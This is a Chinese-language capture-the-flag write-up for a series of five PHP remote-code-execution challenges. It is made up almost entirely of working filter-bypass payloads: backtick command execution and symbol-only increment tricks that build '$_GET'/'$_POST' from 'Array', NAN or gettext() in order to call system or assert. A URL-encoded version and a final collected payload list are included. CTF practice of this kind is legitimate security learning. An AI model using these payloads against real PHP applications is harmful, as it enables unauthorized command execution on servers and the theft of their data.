RCE挑战1
开题直接给了源码
过滤了括号和点号。
使用内敛绕过。
payload:
code=echo `tac /f1agaaa`;
RCE挑战2
源码直接给了。
基本把能用的都过滤了,只剩下$()_+;[],.=/字符,自增RCE无疑。
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下 $_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
payload:
ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B //POST ?_=system&__=tac /f1agaaa //GET
RCE挑战3
开题直接给了源码,和上题差不多,可以使用1和0,但是加了长度限制。
解法的话,就是可以用到PHP中的NAN和INF:
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。 INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
如何得到呢?可以这样:
$_=C/C;//NAN $_=1/C//INF
C/C这里,实际上运算的时候会变成0/0。而下面的则是1/0。
但是这还不是字符串,需要来个拼接即可,这样就可以去到N:
$_=C/C.C; var_dump($_[0]);
这样不用通过从C自增到N,可以减少很多的长度。
接下来就是想办法构造_GET,慢慢自增来拿到字母,然后拼接:
$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;
最后这样即可:
$$_[0]($$_[1]);
相当于$_GET[0]($_GET[1])。
所以就是:
$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);
post传的话还需要url编码。
但是这个长度是106,楽。重新构造一次吧。
$_=([].[])[0]; //得到Array $_=($_/$_.$_)[0]; //__=N $_++; //O $__=$_.$_++; //拼接PO $_++;$_++;$_++; //S $__.=$_; $_++; //T $_=_.$__.$_; //拼接_和POST $$_[0]($$_[1]); //$_POST[0]($_POST[1])
所有可行的payload:
$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]); //$_POST[0]($_POST[1]); $_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]); //$_POST[0]($_POST[1]) $_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]); //$_POST[0]($_POST[1])
RCE挑战4
长度变为了小于84。
$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]); //$_POST[_]($_POST[0])
RCE挑战5
长度变为了小于73。
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]); //$_POST[_POST]($_POST[_]) # 不可见字符替换 $_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
另一种方法:phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串
<?php $a=_(a/a)[a];//相当于gettext(0/0)[0],得到N $_=++$a;//O $_=_.++$a.$_;//_PO $a++;$a++;//R $_.=++$a.++$a;//_POST $$_[a]($$_[_]);//$_POST[a]($_POST[_]) $_=$a.$a++;//PO 至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是: PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_和$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。
//使用时需要url编码下 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); //相当于assert($_POST[_]); 然后post传入 _=phpinfo(); 测试发现7.0.12以上版本不可使用 $_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]); //相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下 $_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]); //$_GET[0]($_GET[1]) $a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]); //$_POST[0]($_POST[1]); $_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]); //$_POST[0]($_POST[1]) $_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]); //$_POST[0]($_POST[1]) $_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]); //$_POST[_]($_POST[0]) $a=_(a/a)[a];++$a;$_=$a.$a++;$a++;$a++;$_=_.$_.++$a.++$a;$$_[a]($$_[_]); //$_POST[a]($_POST[_]) $_=_(a/a)[_];$a=++$_;$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]); //$_POST[_POST]($_POST[_]) $_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]); //将拼接放到同一行,不可见字符替换 php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行 $_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]); //$_GET[1]($_GET[2])